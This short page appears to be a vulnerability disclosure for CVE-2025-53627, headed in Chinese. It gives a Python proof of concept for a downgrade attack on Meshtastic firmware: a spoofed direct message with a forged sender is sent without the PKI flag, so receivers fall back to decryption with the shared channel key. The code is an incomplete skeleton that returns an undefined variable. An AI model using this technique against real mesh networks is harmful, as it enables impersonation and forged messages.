CVE-2025-53627: Meshtastic固件PKI加密降级攻击漏洞

# CVE-2025-53627 PoC - Meshtastic PKI Downgrade Attack # This PoC demonstrates crafting a spoofed direct message when channel key is known import struct import hashlib def craft_spoofed_dm(mesh_packet, channel_key, spoofed_src): """ Craft a spoofed direct message that bypasses PKI verification. Args: mesh_packet: Original mesh packet structure channel_key: Shared AES-256 channel key spoofed_src: Spoofed sender node ID """ # Step 1: Create DM payload with spoofed source dm_payload = { 'src': spoofed_src, 'dst': mesh_packet['intended_dst'], 'content': 'Malicious message content', 'timestamp': mesh_packet['timestamp'] } # Step 2: Encrypt using legacy AES-256-CTR (NOT PKI) # Note: Omitting pki_encrypted flag causes receiver to use legacy decryption encrypted_payload = aes256_ctr_encrypt(dm_payload, channel_key) # Step 3: Wrap in mesh packet WITHOUT pki_encrypted flag spoofed_packet = { 'encrypted_payload': encrypted_payload, 'pki_encrypted': None, # Missing flag triggers legacy decryption 'channel_id': mesh_packet['channel_id'] } return spoofed_packet def aes256_ctr_encrypt(payload, key): """Legacy AES-256-CTR encryption (used when pki_encrypted flag is missing)""" nonce = struct.pack('<Q', payload['timestamp']) # ... AES-256-CTR implementation return encrypted_data # Attack scenario: # 1. Attacker obtains shared channel key # 2. Attacker crafts DM without pki_encrypted flag # 3. Target client silently falls back to legacy decryption # 4. Message displayed as legitimate PKI message